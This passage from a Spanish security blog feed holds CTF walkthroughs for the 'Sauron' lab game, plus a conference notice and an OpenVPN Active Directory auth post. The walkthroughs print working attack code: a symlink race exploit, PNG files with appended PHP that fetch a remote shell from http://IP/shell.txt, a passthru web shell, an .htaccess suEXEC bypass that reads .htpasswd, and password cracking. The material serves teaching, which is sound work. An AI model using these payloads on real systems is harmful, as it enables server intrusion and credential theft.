style="font-style: italic;"><br />exec $TMP_NAME</span><br /><br />Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.<br /><br />Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.<br /><br />Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.<br /><br />Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.<br /><br />Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:<br /><br />o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.<br /><br />o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.<br /><br />Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:<br />tmpfs on /tmp type tmpfs (rw,size=4M)<br /><br />Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.<br /><br />Filesystem Inodes IUsed IFree IUse% Mounted on<br />tmpfs 15674 8 15666 1% /tmp<br /><br />Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.<br /><br /><span style="font-style: italic;">#!/bin/bash</span><span style="font-style: italic;"><br /><br />MINNUM=1;</span><span style="font-style: italic;"><br />MAXNUM=15666;</span><span style="font-style: italic;"><br /><br />for number in `seq $MINNUM $MAXNUM`; do</span><span style="font-style: italic;"><br /> TMP_NAME="/tmp/tmp_"`echo $number | md5sum | cut -f1 -d" "`</span><span style="font-style: italic;"><br /> ln -s /tmp/exploit $TMP_NAME</span><span style="font-style: italic;"><br />done</span><br /><br />El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:<span style="font-style: italic;"><br /><br />#!/bin/bash</span><span style="font-style: italic;"><br /><br />wget http://IP/shell.txt</span><span style="font-style: italic;"><br />cp shell.txt /var/www/intranet/htdocs/shell.php</span><span style="font-style: italic;"><br />chmod +x /var/www/intranet/htdocs/shell.php</span><br /><br />En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.<br /><br />Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.<br /><br />Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.<br /><br />Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:<br /><br />o http://intranet.blindware.inc/cgi-bak/do_passv.cgi<br /><br />Si la explotación falla obtendremos el resultado típico:<br /><br />> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)<br />> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42<br />> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux<br /><br />Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php<br /><br />Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:<br /><br />o uid=501(intranet) gid=501(intranet) groups=501(intranet)<br /><br />Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!<br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-27145420378286511822008-03-31T16:40:00.003+02:002008-03-31T16:56:50.978+02:00Conferencias XTRELAN 2008<div style="text-align: justify;">Saludos a todos,<br /></div><div style="text-align: justify;"><br />como comentamos en el último post, antes de las fiestas de semana santa, de las que hemos retornado con acúmulo de labores, con motivo de XTRELAN 2008 se organizó un ciclo de conferencias entorno a la seguridad de la información que tuvimos el gusto de impartir.<br /><br />Para todos aquellos que asistieron y se interesaron por las transparencias, y por supuesto para todo aquel que pueda encontrar de utilidad la información que hay en ellas, hoy las añadimos al material disponible en nuestra web. Esperamos que las disfrutéis.<br /><br /><span style="font-weight: bold;">Conferencia: </span><a href="http://www.sg6.es/labs/docs/sg6.doc.xtrelan.01.pdf">Desarrollo de Entornos Virtuales de Intrusión</a><span style="font-weight: bold;"><br /></span><br /><span style="font-weight: bold;">Conferencia: </span><a href="http://www.sg6.es/labs/docs/sg6.doc.xtrelan.02.pdf">Técnicas y Procedimientos para la Realización de Test de Intrusión</a><br /><br /></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-88610700562525571132008-03-11T10:07:00.003+01:002008-03-11T11:10:23.558+01:00SecGame #1: Sauron - Resolución Nivel 5<div style="text-align: justify;">Primero, y como es habitual saludar a todos los que nos siguen, segundo enviar un saludo a todos los que desde <a href="http://www.extrelan.es/">Extrelan</a> pasaron un buen rato resolviendo éste reto, con algunas ligeras modificaciones. Ahora, con un día de retraso nuevamente, vamos a resolver el que es ya el quinto nivel dentro de los desafíos de Sauron. Empecemos.<br /><br />El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.<br /><br />Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?<br /><br />Nuestro objetivo, en estos casos en los que ser "root" o "Administrador" no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.<br /><br />¿Cómo conseguir eso?. Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.<br /><br />En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.<br /><br /><span style="font-style: italic;">blindware:x:500:500::/var/www/blindware:/bin/bash</span> <span style="font-style: italic;">intranet:x:501:501::/var/www/intranet:/bin/bash</span> <span style="font-style: italic;">developer:x:502:502::/home/developer:/bin/bash</span><br /><br />El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.<br /><br />Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:<br /><br /><span style="font-style: italic;">d--x--x--x 8 root root 4096 May 12 13:52 www</span><br /><br />Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).<br /><br /><span style="font-style: italic;"><virtualhost 80=""></virtualhost></span> <span style="font-style: italic;"><VirtualHost *:80></span><span style="font-style: italic;"><br />ServerAdmin blindware@blindware.inc</span><span style="font-style: italic;"><br />DocumentRoot /var/www/blindware/htdocs</span><span style="font-style: italic;"><br />ServerName www.blindware.inc</span><span style="font-style: italic;"><br />SuexecUserGroup blindware blindware</span><span style="font-style: italic;"><br /><Directory /></span><span style="font-style: italic;"><br />Options Indexes SymLinksIfOwnerMatch ExecCGI</span><span style="font-style: italic;"><br />AllowOverride All</span><span style="font-style: italic;"><br /></Directory></span><span style="font-style: italic;"><br /></VirtualHost></span><span style="font-style: italic;"><br /><br /><VirtualHost *:80></span><span style="font-style: italic;"><br />ServerAdmin intranet@blindware.inc</span><span style="font-style: italic;"><br />DocumentRoot /var/www/intranet/htdocs</span><span style="font-style: italic;"><br />ServerName intranet.blindware.inc</span><span style="font-style: italic;"><br />SuexecUserGroup intranet intranet</span><span style="font-style: italic;"><br /><Directory /></span><span style="font-style: italic;"><br />Options Indexes SymLinksIfOwnerMatch ExecCGI</span><span style="font-style: italic;"><br />AllowOverride All</span><span style="font-style: italic;"><br /></Directory></span><span style="font-style: italic;"><br /></VirtualHost></span><br /><br />De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.<br /><br />Existe, únicamente tenemos que buscar en Google: "apache suexec", "apache suexec bypass", o similares y encontraremos un documento denominado "Apache suEXEC Bypass" en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.<br /><br />A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.<br /><br />1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.<br /><br />2. Esto permite un esquema de aislamiento “relativamente” sencillo.<br /><br /><span style="font-style: italic;">drwxr-x--- 3 blindware apache 4096 nov 25 17:00 blindware</span><span style="font-style: italic;"><br />drwxr-x--- 3 intranet apache 4096 nov 25 17:00 intranet</span><br /><br />Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto "garantiza", que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.<br /><br />3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.<br /><br />4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.<br /><br />5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.<br /><br />6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.<br /><br />A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.<br /><br />1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.<br /><br /><span style="font-style: italic;">echo "Options -SymLinksIfOwnerMatch +FollowSymLinks" > .htaccess</span><br /><br />Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:<br /><br /><span style="font-style: italic;">echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess<br /><br /></span>2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc. Creamos pues el enlace simbólico: <span style="font-style: italic;">ln –s /var/www/intranet/htdocs/.htaccess htaccess</span><br /><br />De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:<br /><br /><span style="font-style: italic;">Options +Indexes</span><span style="font-style: italic;"><br />AuthName "Blindware - Intranet Protected"</span><span style="font-style: italic;"><br />AuthType Basic</span><span style="font-style: italic;"><br />AuthUserFile /var/www/intranet/htdocs/.htpasswd</span><span style="font-style: italic;"><br />require valid-user</span><br /><br />4. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico: <span style="font-style: italic;">ln –s /var/www/intranet/htdocs/.htpasswd htpasswd</span><br /><br />De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.<br /><span style="font-style: italic;"> <br />admin:tCPJIYCZjtqF6<br /><br /></span>5. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.<br /><br />Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.<br /><br /><span style="font-style: italic;">$ john htpasswd</span><span style="font-style: italic;"><br />guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 - 132498</span><span style="font-style: italic;"><br />Loaded 1 password hash (Traditional DES [64/64 BS MMX])</span><span style="font-style: italic;"><br />132456 (admin)</span><br /><br />Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel. Suerte a todos los que intentáis superarlo.<br /><span style="font-style: italic;"><br /></span></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-25681923408281620532008-02-26T12:12:00.007+01:002008-02-26T13:43:43.179+01:00SecGame #1: Sauron - Resolución Nivel 4<div style="text-align: justify;">Saludos a todos,<br /><br />esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.<br /><br /></div><br /><div style="text-align: justify;"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkSUOMjnwoM1tgpNdKcpNkcSsed-N3ldiBZD0eOMCTzmCD63lJJuh9ahiRjbws76ZxN60fXo-5VQxacdSARX3Te24S8UTnLSliZeXr0lCJc4l4QIfs5IK-WNEOJ6PcittpkpYwxHMt_uQ/s1600-h/Dibujo.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkSUOMjnwoM1tgpNdKcpNkcSsed-N3ldiBZD0eOMCTzmCD63lJJuh9ahiRjbws76ZxN60fXo-5VQxacdSARX3Te24S8UTnLSliZeXr0lCJc4l4QIfs5IK-WNEOJ6PcittpkpYwxHMt_uQ/s400/Dibujo.JPG" alt="" id="BLOGGER_PHOTO_ID_5171250810470685650" border="0" /></a><br />Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:<br /><ul><li>Información sobre el sistema</li><li>Administración de MySQL mediante MySQL Admin</li><li>Visualización de Estadísticas</li><li>Cambio de parámetros</li></ul><br />Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.<br /><br />Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos <a href="http://phpsysinfo.sourceforge.net/">phpSysInfo</a>, y por otro <a href="http://www.phpmyadmin.net/">phpMyAdmin</a>. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.<br /><br />No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.<br /><br />Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.<br /><br />Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:<br /><ul><li>Únicamente permite ficheros con extensión PNG</li><li>El tamaño del fichero está limitado a 8KB</li><li>El contenido del fichero debe corresponder con una imagen PNG</li></ul>Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.<br /><br />Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:<span style="font-style: italic;"><br /><br />$ cat >> img.png</span><span style="font-style: italic;"> </span><span style="font-style: italic;"><br /><? phpinfo(); ?></span><br /><br />Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.<br /><br />¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:<br /><br /><span style="font-style: italic;"> <span style="font-style: italic;"><? header("Content-Type: image/png");</span> <span style="font-style: italic;">readfile("01.png");</span> ?><br /><br /></span><span>Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:</span><span style="font-style: italic;"><br /><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXomgL3HoWD_qiabiSKsVzsGIUwjCKE2-ldQkzIaT205j7NuCPSAD-eLTYg2fhoA0IiyyMWXawgnt0j1BrlpiD14j7tTrTbUE5xO_LNuL3vdORAlpS7N7fhxCPYuY1fcNQqiV9_OtUgOE/s1600-h/Dibujo2.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXomgL3HoWD_qiabiSKsVzsGIUwjCKE2-ldQkzIaT205j7NuCPSAD-eLTYg2fhoA0IiyyMWXawgnt0j1BrlpiD14j7tTrTbUE5xO_LNuL3vdORAlpS7N7fhxCPYuY1fcNQqiV9_OtUgOE/s400/Dibujo2.JPG" alt="" id="BLOGGER_PHOTO_ID_5171260615881022434" border="0" /></a>Como vemos, el contenido de la instrucción <span style="font-weight: bold;">phpinfo()</span> se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.<br /><br />El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:<br /><br /><span style="font-style: italic;"><? copy(“http://ip/shell.txt”,”shell.php”); ?></span><br /><br />Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.<br /><br />El contenido de shell.txt puede ser el siguiente:<span style="font-style: italic;"><br /><br /><? </span><span style="font-style: italic;"><br />header(“Content-Type: text/plain”);</span><span style="font-style: italic;"><br />passthru($_GET[“cmd”);</span><span style="font-style: italic;"><br />?></span><br /><br />El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php<br /><br />Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:<br /><br /><? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?><br /><br />Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x<br /><br />Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:<br /><br /><span style="font-style: italic;">http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a</span><br /><span style="font-style: italic;">Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux<br /><br />http://www.blindware.inc/_controlp/shell.php?cmd=id<br />uid=500(blindware) gid=500(blindware) groups=500(blindware)</span><br /><br />Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel. <span style="font-style: italic;"><br /></span></div>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-42352688895803305332008-02-21T11:44:00.013+01:002008-02-21T14:55:52.867+01:00OpenVPN-AD: Autenticación en Active Directory<div style="text-align: justify;"><a href="http://openvpn.net/">OpenVPN</a> es una de las herramientas más utilizadas para la creación y gestión de redes privadas virtuales debido a cuatro factores principalmente: facilidad de instalación y uso, fiabilidad, multiplataforma (es posible su instalación en distintos sistemas operativos) y ser opensource.<br /><br />Cuando un cliente intenta realizar una conexión con un servidor OpenVPN, este último debe autenticar y validar de alguna manera a dichos usuarios. Para ello, OpenVPN provee dos mecanismos distintos:<br /></div><ul style="text-align: justify;"><li> En base a certificados digitales (incorpora la herramienta openssl para la creación de certificados)</li><li>Mediante usuario y contraseña<br /></li></ul><div style="text-align: justify;"><br />Para el caso que nos ocupa, nos vamos a centrar en la autenticación con usuario y contraseña. Mediante este mecanismo, que puede ser alternativo o completentario al uso de certificados digitales, el cliente demanda al usuario dicha información y la envía al servidor para su validación.<br /><br />Dicho proceso de envío por parte del cliente al servidor se puede realizar de dos maneras distintas, dependiendo de la configuración del servidor:<br /></div><ul style="text-align: justify;"><li>Mediante variables de entorno</li><li>A través de un fichero temporal</li></ul><div style="text-align: justify;"><br />El servidor, una vez que recoge el nombre del usuario y la contraseña, ejecuta un script para validar la información y autorizar la conexión por parte del cliente. Existen diferentes scripts para poder realizar dicho proceso en Linux, pero no hemos encontrado ninguno que contraste los datos de usuario con Active Directory, así que nos hemos puesto manos a la obra.<br /><br />En primer lugar, hay que configurar el cliente y el servidor de manera que realicen este tipo de proceso de validación. En el fichero de <span style="font-weight: bold;">configuración del cliente</span> hay que introducir la línea "<span style="font-style: italic;">auth-user-pass</span>" para que el cliente pida al usuario que proporciones su usuario y contraseña. En el fichero de <span style="font-weight: bold;">configuración del servidor</span> hay que insertar la línea "<span style="font-style: italic;">auth-user-pass-verify script via-file</span>" donde <span style="font-style: italic;">script</span> es el nombre del script, y <span style="font-style: italic;">via-file</span> es el método de envío de los datos por parte del cliente. Para este caso en concreto se enviará dentro de un fichero.<br /><br />El script en cuestión puede ser escrito en varios lenguajes, aunque los más cómodos para ello son <a href="http://www.perl.org/">perl</a> y <a href="http://www.python.org/">python</a>. Nosotros hemos elegido este último por familiaridad.<br /><br />Al principio del fichero están definidas una serie de variables, como pueden ser la dirección del controlador de dominio, la ruta de directorio que hay que modificar y algunas otras, que hay que adaptar y modificar para que se amolden a los diferentes entornos. Entre todas estas variables hay una, <span style="font-style: italic;">grupovpn</span>, que requiere una explicación.<br /><br />Para poder diferenciar los usuarios privilegiados que se pueden conectar a través de una vpn de los que no, hemos enfocado el script de manera que busque en un grupo existente en el sistema a los usuarios a los que se les permite el acceso externo mediante este mecanismo. De ahí que existan una variable en el script que contenga el grupo donde se encuentran dichos usuarios. De esta forma, cuando un usuario conecta, primero se valida que el usuario sea un usuario válido del dominio y después, que dicho usuario se encuentre dentro del grupo de usuarios de vpn.<br /><br /><span style="font-weight: bold; color: rgb(64, 136, 184);font-size:130%;" >Contenidos Descargables</span><br /></div><ul style="text-align: justify;"><li><a href="http://www.sg6.es/labs/tools/autorizacion.py">Descargar script <span style="font-style: italic;">autorización.py</span></a></li></ul>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2796586482155594847.post-59137992654169744412008-02-11T19:29:00.000+01:002008-02-12T09:52:34.704+01:00SecGame #1: Sauron - Resolución Nivel 3<div style="text-align: justify;">Saludos nuevamente,<br /></div><div style="text-align: justify;"><div style="text-align: justify;"><br />esperamos que aquellos que van siguiendo estas resoluciones e intentando completar los niveles semanalmente, hayan conseguido desentrañar el reto tras este tercer nivel, o al menos se hayan aproximado mucho. El planteamiento para resolverlo hemos de admitir que no es tan trivial como los anterioresl, quizá junto con el último reto, sean los únicos donde el ingenio debe primar por encima de los conocimientos técnicos, aunque estos también deben de existir. Sin más, vamos con la resolución, que esperamos sea del agrado de todos. Decir que la resolución se hará sobre el nivel de complejidad básico, pues aún siendo más fácil de resolver, presenta fallos más ricos y mucho más instructivos que el modo de complejidad elevado. La resolución, aunque similar es cierto que tiene algunas divergencias. Para todos aquellos que estén jugando el modo complejo, si necesitan alguna indicación pueden ponerse en contacto con nosotros por <a href="mailto:labs@sg6.es">email</a>.<br /><br />Hasta este nivel 3 habíamos estado buceando en un aplicativo externo, y estático. Encontrar el directorio /_controlp/, supone haber encontrado un punto donde podemos insertar información en la lógica del aplicativo. Siempre que nos encontremos en esta situación lo recomendable es chequear qué sucede 